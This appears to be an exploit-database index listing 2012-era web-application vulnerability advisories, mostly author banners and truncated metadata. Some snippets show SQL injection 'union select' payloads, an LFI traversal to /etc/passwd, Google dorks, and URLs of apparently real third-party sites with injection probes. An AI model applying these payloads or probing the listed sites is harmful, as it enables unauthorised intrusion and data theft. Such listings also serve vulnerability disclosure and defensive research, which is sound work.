Contacto SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Twitte: @Ur0b0r0x Email: [email protected] Line: GreyHat Home: ur0b0r0x.blogspot.com Exploit Title: Diseño CONTACTO - Sql Injection Vulnerability...

Joomla Ignite Gallery 0.8.3.1 SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Tiwtte: @Ur0b0r0x Email: [email protected] Line: GreyHat Home: ur0b0r0x.blogspot.com Exploit Title: Joomla Component - Ignite Gallery 0.8.3.1 - S...

Joomla LiveChat 2.0 XSS / SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Tiwtte: @Ur0b0r0x Email: [email protected] Line: GreyHat Home: ur0b0r0x.blogspot.com Exploit Title: Joomla Component - LiveChat 2.0 Multilpes...

PDW File Browser v1.0 beta Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications ------------------------------------------------------------------------------- pdw file browser Arbitrary File Upload Vulnerability -------------------------------------------------------------------------------- Author = Zikou-16 Facebook =...

Joomla modules - pm_advancedsearch4 Arbitrary File Upload Vulnerabilit

Exploit for php platform in category web applications ------------------------------------------------------------------------------- Joomla modules - pmadvancedsearch4 Arbitrary File Upload Vulnerability -------------------------------------------------------------------------------- Author =...

MediaWiki < 1.18.6 / 1.19.3 / 1.20.1 Multiple Vulnerabilities

According to its version number, the instance of MediaWiki running on the remote host is affected by multiple security vulnerabilities : - MediaWiki core is vulnerable to session fixation attacks that allow an attacker to compromise another user's account. CVE-2012-5391 - The MediaWiki CentralAut...

Marketing Development Script SQL Injection Vulnerability

Marketing Development Script suffers from a remote SQL injection vulnerability. Note that this finding houses site-specific data. Exploit Title; Marketing Development Script SQL Injection Vulnerability Date; 3/12/12 Author; 3spi0n Script Vendor or Software Link; http://www.marketingdev.com/...

Marketing Development Script SQL Injection

Exploit Title; Marketing Development Script SQL Injection Vulnerability Date; 3/12/12 Author; 3spi0n Script Vendor or Software Link; http://www.marketingdev.com/ Category; Webapps Type; SQL Injection MySQLi Tested on; Ubuntu 12.10 / Win7 / Backtrack 5 Demo Analyzing ;...

Espacio Ecuador Cross Site Scripting / SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Tiwtte: @Ur0b0r0x Facboo: fb.com/omartaurus Email: [email protected] Line: GreyHat Home: http://cyberpunk-ur0x.blogspot.com/ Exploit Title: Espac...

Army Ezine Colombia XSS / SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Tiwtte: @Ur0b0r0x Email: [email protected] Line: GreyHat Home: http://cyberpunk-ur0x.blogspot.com/ Exploit Title: Army Ezine Colombia - SQL...

Webthinkers Cross Site Scripting / SQL Injection

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: Ur0b0r0x Tiwtte: @Ur0b0r0x Email: [email protected] Line: GreyHat Exploit Title: Webthinkers - SQL Injection / Cross-Site Scripting Vulnerabilities Dork:...

RodWare SQL Injection

| | | | \ / | \ / | \ / \ \ / / | | | | | | | | | | | | | | | | | | \ V / | | | | /| | | | DemoXssSqlVulnerabilities http://www.vonbrugar.com/perro.php?idperro=1' http://www.paordenar.com/index.php?querytype=1' http://www.bellapod.com/featured.php?gid=1'...

LastClick Cross Site Scripting / SQL Injection

| | | | \ / | \ / | \ / \ \ / / | | | | | | | | | | | | | | | | | | \ V / | | | | /| | | | http://site.com/.vernota.php?id= Exploit/Comand/Sql= +union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+ Exploit/Comand/Xss= " Payload/Comand/Sql= tableschema=0x73616C61646...

Proyectos Margarita SQL Injection / LFI

| | | | \ / | \ / | \ / \ \ / / | | | | | | | | | | | | | | | | | | \ V / | | | | /| | | | http://site.com/.= Exploit/Comand/Sql= +union+select+1,2,3,4--+ Exploit/Comand/Xss= " Exploit/Comand/Lfi= /../../../../../../../etc/passwd%00/../../../ Payload/Comand/Sql= tableschema=0x44F627...

AustroSoft Cross Site Scripting / SQL Injection

| | | | \ / | \ / | \ / \ \ / / | | | | | | | | | | | | | | | | | | \ V / | | | | /| | | | http://site.com/.= Exploit/Comand/Sql= +union+select+1,2,3,4,5,6--+ Exploit/Comand/Xss= " Payload/Comand/Sql= tableschema=0x45F62771736573616C61667273 / tablename=0x6E6536C6574657461736...

Etiko CMS Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' CMS Etiko Arbitrary File Upload Vulnerability Google Dork: intext:"CMS Etiko" Date: 27/10/2012 Author: Sys32 Email: tha.Sys32atgmaildotcom Vendor: http://www.etikweb.com/ Category:...

Gong Interactive Web Design SQL Injection

gonginteractive Web Design Sql Injection Vulnerability + Exploit Title : gonginteractive Web Design Sql Injection Vulnerability Author : Siamak.Black Site : Http : www.datacoders.org & iranhack.org Tested On : BackTrack 5 & 7 Emai : [email protected] Software Link : http://gonginteractive.co...

Portable Multi-boot Security Suite: Katana

Katana is a portable multi-boot security suite which brings together many of today’s best security distributions and portable applications to run off a single Flash Drive. It includes distributions which focus on Pen-Testing, Auditing, Forensics, System Recovery, Network Analysis, and Malware...

Sitecom MD-25x Reverse Root Shell

!/usr/bin/python Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit Date: 09/11/12 Exploit Author: Mattijs van Ommeren mattijs at alcyon dot nl Vendor Homepage: http://www.sitecom.com Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin Version:...

Sitecom MD-25x Multiple Vulnerabilities Reverse Root Shell Exploit

Exploit for windows platform in category remote exploits !/usr/bin/python Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit Date: 09/11/12 Exploit Author: Mattijs van Ommeren mattijs at alcyon dot nl Vendor Homepage: http://www.sitecom.com Software Link:...